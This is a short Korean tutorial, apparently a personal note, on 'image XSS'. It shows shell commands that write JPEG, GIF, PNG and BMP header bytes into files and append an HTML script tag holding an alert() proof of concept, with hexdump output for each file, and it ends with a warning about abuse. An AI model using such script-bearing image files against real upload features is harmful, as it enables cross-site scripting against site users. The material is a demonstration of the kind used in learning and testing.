이미지 XSS 공격

jpg file 파일 생성
echo -en "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00" > hack.jpg

<script 삽입>
echo -n "<html><script>alert('XSS ATTACK');</script>" >> hack.jpg

```
gimjin-il-ui-MacBookPro:Desktop jinil$ echo -n "<html><script>alert('XSS ATTACK');</script>" >> hack.jpg
gimjin-il-ui-MacBookPro:Desktop jinil$ cat hack.jpg
????JFIF<html><script>alert('XSS ATTACK');</script>gimjin-il-ui-MacBookPro:Desktop jinil$ xxd hack.jpg
00000000: ffd8 ffe0 0010 4a46 4946 003c 6874 6d6c  ......JFIF.<html
00000010: 3e3c 7363 7269 7074 3e61 6c65 7274 2827  ><script>alert('
00000020: 5853 5320 4154 5441 434b 2729 3b3c 2f73  XSS ATTACK');</s
00000030: 6372 6970 743e                           cript>
```

gif file 파일 생성
echo -en "\x47\x49\x46\x38\x39\x61" > hack.gif

<script 삽입>
echo -n "<html><script>alert('XSS ATTACK');</script>" >> hack.gif

```
gimjin-il-ui-MacBookPro:Desktop jinil$ echo -n "<html><script>alert('XSS ATTACK');</script>" >> hack.gif
gimjin-il-ui-MacBookPro:Desktop jinil$ xxd hack.gif
00000000: 4749 4638 3961 3c68 746d 6c3e 3c73 6372  GIF89a<html><scr
00000010: 6970 743e 616c 6572 7428 2758 5353 2041  ipt>alert('XSS A
00000020: 5454 4143 4b27 293b 3c2f 7363 7269 7074  TTACK');</script
00000030: 3e                                       >
```

png file 파일 생성
echo -en "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0DIHDR" > hack.png

<script 삽입>
echo -n "<html><script>alert('XSS ATTACK');</script>" >> hack.png

```
gimjin-il-ui-MacBookPro:Desktop jinil$ echo -n "<html><script>alert('XSS ATTACK');</script>" >> hack.png
gimjin-il-ui-MacBookPro:Desktop jinil$ xxd hack.png
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
00000010: 3c68 746d 6c3e 3c73 6372 6970 743e 616c  <html><script>al
00000020: 6572 7428 2758 5353 2041 5454 4143 4b27  ert('XSS ATTACK'
00000030: 293b 3c2f 7363 7269 7074 3e              );</script>
```

bmp file 파일 생성
echo -en "\x42\x4D\x00\x00\x00\x00\x00\x00\x00\x36" > hack.bmp
<script 삽입>
echo -n "<html><script>alert('XSS ATTACK');</script>" >> hack.bmp

이와 같은 방식으로 스크립트 구문을 작성하여 악용할 경우 악성코드를 심어 놓거나 불법적인 사이트에 접속하도록 할 수 있으므로 주의해야한다.